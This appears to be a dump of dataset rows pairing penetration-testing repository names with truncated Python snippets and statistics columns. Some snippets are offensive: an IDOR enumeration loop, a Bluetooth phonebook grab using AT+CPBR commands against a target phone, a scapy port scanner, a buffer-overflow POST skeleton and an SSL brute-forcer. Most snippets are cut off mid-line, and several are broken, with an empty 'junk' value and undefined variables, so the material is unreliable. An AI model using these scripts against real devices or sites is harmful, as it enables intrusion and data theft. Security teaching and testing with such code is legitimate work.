from re import subn
def hash(word):
nr = 1345345333
add = 7
nr2 = 0x12345671
for c in (ord(x) for x in word if x not in (' ', '\t')):
nr^= (((nr & 63)+add)*c)+ (nr << 8) & 0xFFFFFFFF
nr2= (nr2 + ((nr2 << 8) ^ nr)) & 0xFFFFFFFF
add= (add + c) ... | 28.5 | 77 | 0.521845 |
owtf | """
owtf.protocols.smb
~~~~~~~~~~~~~~~~~~
This is the handler for the Social Engineering Toolkit (SET) trying to overcome
the limitations of set-automate.
"""
import logging
import os
from owtf.db.session import get_scoped_session
from owtf.shell import pexpect_sh
from owtf.utils.file import FileOperations
__all__ = ... | 34.898876 | 119 | 0.60645 |
Effective-Python-Penetration-Testing | import mechanize
url = "http://www.webscantest.com/business/access.php?serviceid="
attackNumber = 1
for i in range(5):
res = mechanize.urlopen(url+str(i))
content = res.read()
# check if the content is accessible
if content.find("You service") > 0:
print "Possible Direct Object Reference"
... | 24.157895 | 65 | 0.656184 |
Python-Penetration-Testing-Cookbook | from scapy.all import *
ssid = []
def parseSSID(pkt):
if pkt.haslayer(Dot11):
print(pkt.show())
if pkt.type == 0 and pkt.subtype == 8:
if pkt.addr2 not in ap_list:
ap_list.append(pkt.addr2)
print("SSID: pkt.info")
sniff(iface='en0', prn=ssid, count=10, t... | 25.153846 | 58 | 0.557522 |
Penetration-Testing-Study-Notes | #!/usr/bin/env python
logo=''' #########################################################################
# modified, adapted and encreased for www.marcoramilli.blogspot.com #
#########################################################################'''
algorithms={"102020":"ADLER-32", "102040":"CRC-... | 57.72695 | 3,696 | 0.685879 |
PenetrationTestingScripts | #!/usr/bin/python
import sys
import struct
import socket
import select
import time
import threading
from printers import printPink,printRed
from multiprocessing.dummy import Pool
class ssl_burp(object):
def __init__(self,c):
self.config=c
self.lock=threading.Lock()
self.result=[]
... | 32.773973 | 136 | 0.495943 |
cybersecurity-penetration-testing | import argparse
import json
import logging
import sys
import os
import urllib2
import unix_converter as unix
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20150920'
__version__ = 0.02
__description__ = 'This scripts downloads address transactions using blockchain.info public APIs'
def main(address):
"... | 35.348485 | 115 | 0.625808 |
Penetration-Testing-with-Shellcode | #!/usr/bin/python
import socket
junk =
payload="username="+junk+"&password=A"
buffer="POST /login HTTP/1.1\r\n"
buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/... | 28 | 94 | 0.696133 |
Python-Penetration-Testing-Cookbook | import pyshark
cap = pyshark.FileCapture('sample.pcap')
print(cap)
print(cap[0])
print(dir(cap[0]))
for pkt in cap:
print(pkt.highest_layer) | 16.875 | 40 | 0.732394 |
cybersecurity-penetration-testing | # Guidance Test Python Application
# pyBasic.py
#
# Author: C. Hosmer
# Python Fornesics, Inc.
#
# May 2015
# Version 1.0
#
'''
Copyright (c) 2015 Chet Hosmer, Python Forensics
Permission is hereby granted, free of charge, to any person obtaining a copy of this software
and associated documentation file... | 29.350877 | 103 | 0.705032 |
cybersecurity-penetration-testing | #!/usr/bin/python
import string
input = raw_input("Please enter the value you would like to Atbash Ciper: ")
transform = string.maketrans(
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",
"ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba")
final = string.translate(input, transform)
print final | 24.833333 | 76 | 0.81877 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
import bluetooth
tgtPhone = 'AA:BB:CC:DD:EE:FF'
port = 17
phoneSock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)
phoneSock.connect((tgtPhone, port))
for contact in range(1, 5):
atCmd = 'AT+CPBR=' + str(contact) + '\n'
phoneSock.send(atCmd)
result = client_sock.... | 19.789474 | 55 | 0.639594 |
cybersecurity-penetration-testing | import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import sys
from scapy.all import *
if len(sys.argv) !=4:
print "usage: %s target startport endport" % (sys.argv[0])
sys.exit(0)
target = str(sys.argv[1])
startport = int(sys.argv[2])
endport = int(sys.argv[3])
print "Scan... | 30.5 | 82 | 0.668874 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.